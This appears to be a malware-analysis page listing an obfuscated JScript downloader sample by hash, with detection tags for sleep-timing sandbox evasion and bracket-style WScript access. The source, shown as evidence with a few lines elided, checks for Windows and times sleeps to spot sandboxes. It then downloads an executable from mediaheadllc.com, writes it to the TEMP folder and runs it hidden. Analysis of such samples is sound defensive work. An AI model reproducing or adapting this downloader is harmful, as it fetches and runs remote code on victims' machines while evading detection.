20160328_c576450abcf4908e05d4db1df6cda36e.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569b1f2c76639179e8a030ab62592ab31a4ed73677b3472b5fca83bcad040b8b7f
Evidence
1var Jyokhjuc = false;
2var Btousbm = "CreateObject";
3var Isrsvvxr = function Xxxwnhrj() {return WScript[Btousbm]("WScript.Shell");}();
4var Rcqxlm = 123213;
5var Kbfcavvykp = "MSXML2.XMLHTTP";
6var Tiatypjv = 2123213;
7var Ivkcjxkok = 0;
8function Picyy(Vmscgufjm){Isrsvvxr["Run"](Vmscgufjm, Ivkcjxkok, Ivkcjxkok);};
9function Pdmhjf(){return Kbfcavvykp;};
10function Xfhot(Tybkrcxdhr, Afqzfuxc){return Tybkrcxdhr - Afqzfuxc;};
11function Plxlyyo(){return Btousbm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Jyokhjuc = true;
15 @end
16@*/
17var Etmavwld = "";
18if (Jyokhjuc)
19{
20function Cgzeexao(){return 22;};
21var Owsnuboo = 0; var Ggwglrwrv = 0;
22function Nxbgbuu()
23{
24var Oykieuewg = new this["Date"]();
25var Vfsqhxxqln = Oykieuewg["getUTCMilliseconds"]();
26WScript["Sleep"](Cgzeexao());
27var Oykieuewg = new this["Date"]();
28var Dreut = Oykieuewg["getUTCMilliseconds"]();
29WScript["Sleep"](Cgzeexao());
30var Oykieuewg = new this["Date"]();
31var Vdoxfpeylf = Oykieuewg["getUTCMilliseconds"]();
32var Owsnuboo = "Tbctftgnli";
33Owsnuboo = Xfhot(Dreut, Vfsqhxxqln);
34var Ggwglrwrv = "Tkahoauic";
35Ggwglrwrv = Xfhot(Vdoxfpeylf, Dreut);
36Etmavwld = "open";
37return Xfhot(Owsnuboo, Ggwglrwrv);
38}
39var Fihmytruw = false;
40var Aeypjphzmy = false;
41for (var Pnwtl = Ivkcjxkok; Pnwtl < Cgzeexao() * 1; Pnwtl++){if (Nxbgbuu() != Ivkcjxkok){
42Fihmytruw …
49:11… ruw && Pftokpax() && Aeypjphzmy){
50function Rwdurfwqr() {return Isrsvvxr["ExpandEnvironmentStrings"]("%TEMP%/") + "gAt5ASRP8cbD5.exe";};
51 Ocjguk = Pdmhjf();
52 Boxuz = WScript[Btousbm](Ocjguk);
53 var Smjyqfc = 1;
54 while (Smjyqfc){
55try {
56Boxuz[Etmavwld]("GET", "http://mediaheadllc.com/k9ospw1", false);
57Boxuz["send"]();
58Jcpqsly = "Sleep";
59do {WScript[Jcpqsly](Cgzeexao() * 11)} while (Boxuz["readystate"] < 4 );
60Smjyqfc = Ivkcjxkok;
61} catch(Vugwopqw){Smjyqfc = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ojcqone(Dbofnyi) {var Kowpbci = (1, 2, 3, 4, 5, Dbofnyi); return Kowpbci;};
64Fpupiobczc = WScript[Plxlyyo()]("ADODB.Stream");
65Ocjguk = Fpupiobczc;
66Ocjguk[Etmavwld]();
67Ocjguk["type"] = Ojcqone(1);
68Ocjguk["write"](Boxuz["ResponseBody"]);
69Fpupiobczc["position"] = Ojcqone(Ivkcjxkok);
70Ocjguk["SaveToFile"](Rwdurfwqr(), Ojcqone(2) );
71Fpupiobczc["close"]();
72Picyy(Rwdurfwqr());
73}
74}
75